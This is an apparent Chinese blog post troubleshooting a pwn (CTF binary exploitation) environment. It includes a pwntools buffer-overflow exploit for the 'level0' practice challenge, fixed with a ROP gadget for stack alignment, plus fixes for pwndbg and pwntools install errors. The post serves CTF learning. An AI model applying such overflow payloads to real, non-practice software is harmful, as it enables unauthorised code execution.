搭建Ubuntu16.04系统下Pwn环境的几个疑难问题_java

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- 1. 使用通用exp执行不能getshell（stopped with exit code -11 (SIGSEGV)）
- 2. 安装pwndbg后启动gdb报错（raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")）
- 3. 安装pwntools报错（Building wheel for capstone (setup.py) ... error）

之前搭建了一下 Ubuntu 系统下的 Pwn 环境，但是搭建过程中遇到很多问题，有些顺手可以解决。还有一部分花费了很长时间，在此记录。
搭建过程：
搭建Ubuntu16.04系统下的Pwn环境及问题解决实践

1. 使用通用exp执行不能getshell（stopped with exit code -11 (SIGSEGV)）

前情提要：
我本来是有一套 Kali 的做题环境的，执行 exp 什么的都正常，后来重新搭了一套 Ubuntu20.04 的环境。工具什么的都可以正常安装，但是发现之前能用的 exp 都执行不了了，执行起来会报错并且不能getshell了。
以攻防世界Pwn题目“level0”为例，EXP如下：

from pwn import *

sh = process("./291721f42a044f50a2aead748d539df0")
sh.recv()
payload=0x88*'a'+p64(0x400596)
sh.sendline(payload)
sh.interactive()

报错如下：

[+] Starting local process './291721f42a044f50a2aead748d539df0': pid 3975
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ ls
[*] Process './291721f42a044f50a2aead748d539df0' stopped with exit code -11 (SIGSEGV) (pid 3975)
[*] Got EOF while sending in interactive

当时以为是 Ubuntu 版本太高，导致系统 libc 版本过高，不能正常执行，所以打算换一个版本低一些的 Ubuntu，结果试了好多版本都不能正常执行。。
然后我的思路是将系统的 libc 版本换掉，或者指定运行时加载的 libc 文件，但是貌似不太行。
因为我之前的 Kali 系统，EXP都是可以正常执行的，看了一下 libc 版本。

然后安装glibc-all-in_one
git clone https://github.com/matrix1001/glibc-all-in-one
安装后进入目录先./update_list更新一下，然后cat list可以查看支持的libc版本，cat old_list查看老版本，然后./download {libc版本}就可以下载对应libc版本了，我这里下载的是2.28-0ubuntu1_amd64

这里尝试了以下几种方法改变运行时的libc文件，但是都没啥效果，还是运行报错了。

1. patchelf

命令行使用patchelf命令。
patchelf --set-interpreter //home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/libc-2.28.so ./291721f42a044f50a2aead748d539df0
patchelf --replace-needed libc.so.6 /home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/ld-2.28.so ./291721f42a044f50a2aead748d539df0
patchelf --set-rpath /home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/ ./291721f42a044f50a2aead748d539df0

但是我改完以后使用ldd查看报错了，运行也不行。

2. process的env参数

在Python脚本中
sh = process(["./291721f42a044f50a2aead748d539df0"], env={"LD_PRELOAD":"./libc-2.28.so"})指定libc。

经过尝试也不太行。

3. pwn_debug

安装：
git clone https://github.com/ray-cp/pwn_debug.git
cd pwn_debug
sudo python setup.py install

可以在Python脚本中指定加载的libc。debug模式和local模式二选一即可，debug模式的参数可以指定libc版本，local模式参数直接写libc地址即可。但我没有成功。。。

from pwn_debug import *

pdbg=pwn_debug("binary")

# debug模式
pdbg.debug("2.23")
p=pdbg.run("debug")

# local模式
gdbp.local("./libc.so.6","ld.so")
p=pdbg.run("local")

p.interactive()

最后经过分析，造成无法getshell的原因是因为libc版本不同，导致进入system函数后的栈结构遭到改变，不能满足system函数对于栈平衡的条件，从而导致了触发段错误。

我们在进入system函数之前下断点，可以看到汇编指令如下：

在我之前可以正常打EXP的Kali机器上：

可以看到 do_system 函数直接对 ebp 寄存器进行入栈。

而在我新搭建的 Ubuntu 环境上：

可以看到 do_system 函数的前几句是：

push r13
mov ecx, 0x10
push r12

然后才开始将 rbp 入栈。这也是导致栈不平衡的原因。

因此对于此问题的简单解决方法如下：

ROPgadget --binary ./291721f42a044f50a2aead748d539df0 --only 'pop|ret'

最终的EXP修改如下：

from pwn import *

sh = process("./291721f42a044f50a2aead748d539df0")
sh.recv()
payload=0x88*'a'+p64(0x40065c)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x400596)
sh.sendline(payload)
sh.interactive()

运行成功：

2. 安装pwndbg后启动gdb报错（raise argparse.ArgumentError(banner_arg, f"banner can not be ‘{banner}’")）

具体报错内容如下：

Traceback (most recent call last):
  File "/home/pwn/Downloads/pwndbg/gdbinit.py", line 24, in <module>
    import pwndbg # isort:skip
  File "/home/pwn/Downloads/pwndbg/pwndbg/__init__.py", line 21, in <module>
    import pwndbg.commands.context
  File "/home/pwn/Downloads/pwndbg/pwndbg/commands/context.py", line 141
    raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")
                                                                           ^
SyntaxError: invalid syntax

这个问题也纠结了好长时间。

网上有的文章说是要安装32位运行库，我试了不行。
怀疑是gdb的版本，重装了gdb也不行。

最蛋疼的是我的这个报错在网上根本搜不到。。

我看很多文章写的 pwndbg 要求的是 Python3.5，所以一直也都没有怀疑Python的版本。
注：我的pwntools环境用的是Python2，但是安装pwndbg是要求Python3环境的。

后来实在没办法，跟着报错去查源码。
发现报错的源码是在contextoutput函数内，一个抛出异常的语句，并且用了格式化字符串。

def contextoutput(section, path, clearing, banner="both", width=None):
    if banner not in ('both', 'top', 'bottom', 'none'):
        # raise banner
        raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")

根据报错内容，我在物理机写了同样的一段逻辑然后运行，发现正常啊。
然后查看对比了 Python 版本，正常运行的是3.7.2，虚拟机上是3.5.2，然后翻了 Python 的官方文档，发现 Python 是在3.6之后才支持的f-string语法。

我懒得再升级 Python 版本了，系统的自带的这个 Python 最好不要轻易卸载，不然很麻烦。

因为我报错的这个语句只是一个异常处理的分支，正常情况来说是不会走到这里的，所以理论上来说直接注释掉就可以。运行报错是因为当前版本的编译器不认识这种语法，所以大概修改一下，保存重新运行就行了。

def contextoutput(section, path, clearing, banner="both", width=None):
    if banner not in ('both', 'top', 'bottom', 'none'):
        raise argparse.ArgumentError(banner_arg, "banner can not be '" + banner + "'")
        # raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")